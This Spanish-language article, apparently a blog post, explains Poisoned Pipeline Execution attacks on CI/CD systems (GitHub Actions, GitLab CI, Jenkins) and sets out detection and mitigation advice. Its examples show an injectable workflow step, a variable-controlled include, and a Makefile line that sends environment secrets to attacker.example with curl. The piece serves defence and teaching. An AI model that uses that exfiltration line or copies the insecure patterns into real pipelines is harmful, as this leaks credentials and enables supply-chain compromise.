Ejecución de pipelines comprometidos: hackeo imperceptible a través de GitHub Actions y GitLab

Ejecución de pipelines comprometidos: hackeo imperceptible a través de GitHub Actions y GitLab

Los pipelines de integración continua y entrega automatizan la compilación, las pruebas y el despliegue del software. Estos procesos se desencadenan por eventos del sistema de control de código fuente, emplean descripciones en YAML, ejecutan scripts, obtienen secretos y se comunican con registros de artefactos y con nubes. Si un atacante consigue ejecutar sus propios comandos dentro de un pipeline, obtiene acceso a los mismos recursos que el nodo de compilación, incluidas las claves de infraestructura y los almacenes de paquetes. Esta clase de amenazas se denomina Poisoned Pipeline Execution, abreviada PPE. Según OWASP, es una situación en la que un atacante, teniendo privilegios en el sistema de control de código fuente y sin acceso directo al entorno de compilación, modifica la lógica del pipeline de modo que durante la compilación se ejecutan comandos maliciosos.

Conceptos básicos: de qué se compone un pipeline típico

Un pipeline CI/CD se controla mediante la configuración. En ella se enumeran las etapas y trabajos, se indican las condiciones de ejecución, se definen las imágenes y el entorno, se enumeran dependencias externas y scripts. La ejecución suele iniciarse por eventos del repositorio: commit, solicitud de extracción o Merge Request, etiqueta, release. El pipeline obtiene tokens de acceso y secretos del gestor de secretos de la plataforma, conecta un runner o agente, ejecuta comandos paso a paso, publica artefactos y puede desplegar la compilación en un entorno. Cualquier posibilidad de influir en la configuración o en los archivos y parámetros de los que depende, con una configuración inadecuada, conduce a la ejecución de comandos arbitrarios dentro del entorno de compilación.

Tres variantes de PPE: directo, indirecto y público

PPE directo. El atacante consigue modificar el archivo de configuración del pipeline en el repositorio objetivo. Puede tratarse de .github/workflows en GitHub Actions, .gitlab-ci.yml en GitLab CI o Jenkinsfile en Jenkins. La modificación se realiza mediante un commit en una rama no protegida o una solicitud de extracción, tras lo cual se inicia la compilación y los comandos definidos en la configuración se ejecutan en el runner.

PPE indirecto. La modificación directa de la configuración no está disponible porque el archivo se lee desde una rama protegida, un repositorio separado o se almacena en la configuración del CI. Entonces el atacante altera las dependencias de las que depende la configuración: Makefile, scripts, pruebas, configuraciones de linters y escáneres, YAML incluidos mediante include. Como resultado, al iniciarse el pipeline, se ejecutan comandos maliciosos en el contexto de la compilación, aunque el propio archivo del pipeline no haya sido tocado.

PPE público. En proyectos abiertos las compilaciones a menudo se llevan a cabo con propuestas externas. Si el pipeline acepta código de contribuyentes externos y lo ejecuta en los mismos runners que proyectos privados, surge la posibilidad de ejecutar código arbitrario con acceso a redes internas y artefactos. Este escenario se identifica como un tipo separado de ataque PPE público.

Por qué esta amenaza es crítica

Un pipeline suele disponer de amplios privilegios: acceso a cuentas en la nube, registros de contenedores, firma de releases, claves de automatización y segmentos de red internos. Un ataque exitoso conduce al robo de secretos, a la sustitución de artefactos, a la inserción de puertas traseras en el código fuente o en imágenes de contenedores, y a la persistencia en la infraestructura mediante el entorno de ejecución del runner. Los análisis actuales muestran un aumento de ataques que aprovechan precisamente este tipo de errores y configuraciones erróneas, distinguen las diferencias prácticas entre los tres tipos de PPE y describen métodos de explotación.

Cómo se produce la comprometación: escenario general

El acceso al repositorio se obtiene mediante phishing, fuerza bruta de contraseñas, interceptación de tokens, vulnerabilidades en integraciones o por privilegios internos. A continuación se realizan cambios bien en la propia configuración del pipeline, bien en cualquier archivo que este ejecute. Después se inicia la compilación con un evento habitual: push, solicitud de extracción, release. Los pasos maliciosos se ejecutan con las credenciales del pipeline, lo que permite extraer secretos e interactuar con servicios externos en nombre de la organización. OWASP registra este camino típico de ataque y subraya que ejecutar código no validado incrementa la probabilidad de éxito.

Particularidades de plataformas populares

GitHub Actions

Parte de las vulnerabilidades está relacionada con el manejo inseguro de entradas no verificadas en expresiones y pasos. Errores en el procesamiento de datos de eventos del repositorio conducen a la ejecución de comandos, y el uso de runners compartidos o personalizados incrementa la superficie de ataque. Se han mostrado escenarios en los que un fork enviaba una tarea a un runner propio y lograba una presencia persistente en el nodo, tras lo cual obtenía tokens y claves. Los análisis prácticos recomiendan limitar los permisos del token integrado, aislar los runners para solicitudes externas y requerir confirmación manual para pipelines procedentes de forks.

Un tema aparte son las compilaciones desde forks. Por defecto los secretos no están disponibles para tales tareas, pero la ejecución de programas arbitrarios sigue siendo posible. Los atacantes han usado solicitudes de extracción para iniciar mineros o cargas útiles auxiliares en runners, lo que no requiere acceso a secretos. Esto es un ejemplo de PPE público y, al mismo tiempo, una forma de agotar recursos.

GitLab CI/CD

En GitLab se utiliza ampliamente el mecanismo include para incorporar YAML externos. Es una herramienta potente de reutilización, pero un manejo inadecuado de las fuentes y versiones de los archivos incluidos conduce a PPE indirecto: cambiar el archivo incluido o el parámetro ref otorga control sobre los pasos del pipeline. La recomendación es fijar la fuente y la revisión, además de auditar todas las inclusiones remotas. La documentación de GitLab describe las posibilidades de include y las formas de conectar archivos locales y remotos.

Jenkins

A menudo la configuración se guarda en Jenkinsfile, y la ejecución depende de scripts y Makefile dentro del repositorio. Si Jenkinsfile se toma desde una rama protegida y la modificación de la configuración está cerrada, el atacante aún puede modificar los archivos invocados. OWASP ofrece un ejemplo típico: se añade en el Makefile el envío de valores de entorno, y al ejecutarse una etapa de compilación los secretos se filtran a un nodo externo. Este es un PPE indirecto clásico. El equipo de desarrolladores de Jenkins advierte periódicamente sobre vulnerabilidades en plugins, incluidos tokens almacenados en texto claro.

A qué se dirigen los atacantes y qué ejecutan

  • Robo de secretos. Tokens de nubes, claves de publicación en registros de artefactos, tokens de acceso a SCM, contraseñas de bases de datos y de brokers de mensajería. El pipeline suele disponer de dichos valores en variables de entorno o los obtiene mediante el gestor de secretos durante la ejecución de un paso.

  • Sustitución de artefactos y releases. Cambios maliciosos en imágenes de contenedores, paquetes, binarios y plantillas de infraestructura.

  • Persistencia en la infraestructura. Instalación de agentes adicionales en runners propios, creación de nuevas conexiones y preparación de movimientos laterales.

  • Daño económico. Ejecución de tareas intensivas en recursos, como minería, en runners públicos.

Indicadores de comprometimiento y observabilidad

  • Cambios inesperados en archivos del pipeline, aparición de nuevos include o enlaces externos, nuevos pasos de publicación y despliegue.

  • Ejecuciones desde ramas y forks atípicos, nuevas firmas de runners, cambio de agentes gestionados a agentes locales.

  • Conexiones salientes a dominios e IP desconocidos durante la compilación, filtrado de variables de entorno en registros, aparición de utilidades no estándar y procesos en segundo plano en nodos.

  • Releases repentinos o resubidas de artefactos con código de la aplicación sin cambios, nuevos tokens y claves creados en nombre de cuentas de servicio del pipeline.

Causas técnicas de la vulnerabilidad

PPE se basa en una combinación de factores: ejecución de código no verificado, permisos amplios de tokens de acceso, falta de aislamiento para contribuciones externas, un pool compartido de runners para proyectos con distinto nivel de criticidad, inclusión de configuraciones externas sin fijar la fuente, uso de variables en rutas de include y scripts, confianza en el contenido de artefactos e informes sin verificar su procedencia.

Cómo reducir el riesgo: medidas prácticas de protección

  • Separar compilaciones confiables y no confiables. Ejecutar contribuciones externas, compilaciones desde forks y ramas experimentales en runners aislados sin secretos ni acceso a redes privadas. En proyectos abiertos exigir confirmación manual del pipeline para contribuciones de quienes no han tenido cambios aprobados.

  • Restringir los permisos de los tokens. En GitHub Actions establecer permisos mínimos para el token integrado, aplicar restricciones por entorno y exigir aprobadores para entornos críticos; en GitLab marcar las variables como protegidas y vincularlas a ramas y etiquetas; en Jenkins aplicar restricciones a nodos y credenciales.

  • Proteger la configuración del pipeline. Habilitar protección de ramas con configuraciones, mover configuraciones críticas a repositorios separados con permisos independientes y cerrar la edición directa mediante pull request sin revisión obligatoria.

  • Controlar las inclusiones externas. En GitLab fijar la fuente y la revisión del include, evitar la generación dinámica de ref desde variables de usuario y revisar periódicamente la lista de archivos incluidos.

  • Validar entradas en expresiones y pasos. En GitHub Actions evitar la sustitución directa de campos de eventos en líneas de comando y argumentos de intérpretes, usar variables intermedias seguras y filtros estrictos de valores.

  • Aislar los runners. Alojar agentes locales para tareas no confiables en redes separadas, emplear runners efímeros, prohibir procesos en segundo plano prolongados entre trabajos y limpiar discos y cachés tras finalizar.

  • Minimizar secretos. Adoptar tokens de corta duración mediante federación con OIDC, acotar el alcance y la vida útil de las claves, limitar la lista de secretos disponibles a nivel de paso en lugar de todo el trabajo.

  • Validar el origen de los artefactos. Firmar compilaciones e imágenes de contenedores, conservar atestaciones del proceso de compilación y comprobar políticas antes de usar artefactos en etapas posteriores.

  • Políticas y comprobación automática. Aplicar reglas para eventos de inicio, fuentes de solicitudes de extracción, tipos de runners y permisos de tokens. Verificar los pipelines mediante reglas estáticas y políticas antes de la ejecución.

  • Observabilidad. Habilitar registros detallados para runners y llamadas de red durante las compilaciones, crear alertas por dominios inusuales, nuevos include, cambios en archivos de configuración y publicaciones de release atípicas.

Ejemplos de configuraciones: variantes inseguras y seguras

GitHub Actions: sustitución insegura de entradas

 
name: pr-comment 
on: issue_comment: 
jobs: 
echo-comment: 
if: ${{ github.event.pull_request }} 
runs-on: ubuntu-latest 
steps: 
- run: echo ${{ github.event.comment.body }} 

Esta construcción permite inyectar una secuencia arbitraria que será interpretada por el shell. La recomendación es pasar los datos mediante una variable de entorno, aplicar filtrado estricto y no usar interpolación directa.

GitLab CI: conexión insegura a un YAML externo

 
# Mala práctica: ref se controla mediante una variable 
include: 
- project: group/ci-templates 
file: /secure.yml 
ref: $TEMPLATE_REF 

Si el valor de la variable puede ser modificado por un participante con permisos limitados, obtendrá control sobre el archivo incluido en otra revisión. Es más seguro fijar una etiqueta o hash concreto y no permitir que los usuarios lo reemplacen mediante variables.

Jenkins: PPE indirecto mediante Makefile

 
# Jenkinsfile obtiene secretos en la etapa de compilación y ejecuta make 
withAWS(credentials: 'prod', region: 'us-east-1') { 
sh 'make build' 
} 
 
# Makefile modificado en una solicitud de extracción 
build: 
@curl -d "$$(env)" https://attacker.example/upload 

Los secretos cargados en la etapa se filtrarán mediante la meta modificada del Makefile al ejecutarse la compilación. Esta técnica está descrita en los ejemplos de OWASP para PPE indirecto.

Diferencias entre PPE y otros riesgos de la cadena de suministro

PPE se apoya en privilegios en el sistema de control de código fuente y en la configuración del pipeline. A diferencia de los ataques a dependencias, cuyo objetivo es sustituir un paquete externo o un registro, PPE consigue la ejecución de código dentro de la infraestructura de compilación de la organización. Frente a la comprometación del sistema de compilación a nivel de host, PPE suele aprovechar los mecanismos estándar de la plataforma: eventos del repositorio, configuraciones YAML, archivos incluidos, tokens de acceso, variables y runners. Los materiales de referencia recogen este vector por separado en la lista de riesgos clave de CI/CD.

Errores típicos de configuración que conducen a PPE

  • Ejecutar compilaciones para contribuciones externas en runners compartidos con acceso a secretos y redes internas.

  • Permisos amplios por defecto en tokens y falta de restricciones sobre escritura en el repositorio desde el pipeline.

  • Include dinámicos y uso de variables de usuario en rutas a configuraciones incluidas.

  • Procesamiento de entradas no verificadas en pasos, falta de escape y validación.

  • Runners locales de larga duración sin limpieza de estado y sin aislamiento de red.

  • Falta de protección de ramas y de revisión obligatoria para cambios en la configuración del pipeline y en archivos incluidos.

Diagnóstico y respuesta

Ante la sospecha de PPE es necesario detener las tareas de inmediato, revocar todos los tokens, regenerar secretos, bloquear la publicación de artefactos, mover los pipelines a runners aislados sin red y activar auditoría detallada. A continuación, analizar los registros de ejecución, rastros de red, cambios en el repositorio, comparar configuraciones de include y comprobar la integridad de los últimos releases. Tras la contención, implantar medidas de protección del listado anterior y realizar una retrospectiva de las configuraciones.

Lista de verificación breve para reducir el riesgo

  • Separar runners para contribuciones externas y tareas internas; usar agentes efímeros.

  • Restringir permisos de tokens y aplicar privilegios mínimos para cada paso del pipeline.

  • Proteger las ramas con configuraciones y exigir revisión obligatoria para cambios críticos.

  • Fijar versiones de includes externos y auditar periódicamente su contenido.

  • Validar las entradas en los pasos y evitar la sustitución directa de datos de usuarios.

  • Usar runners aislados y efímeros para tareas no confiables.

  • Implementar monitorización y alertas por actividad sospechosa en los pipelines.

Alt text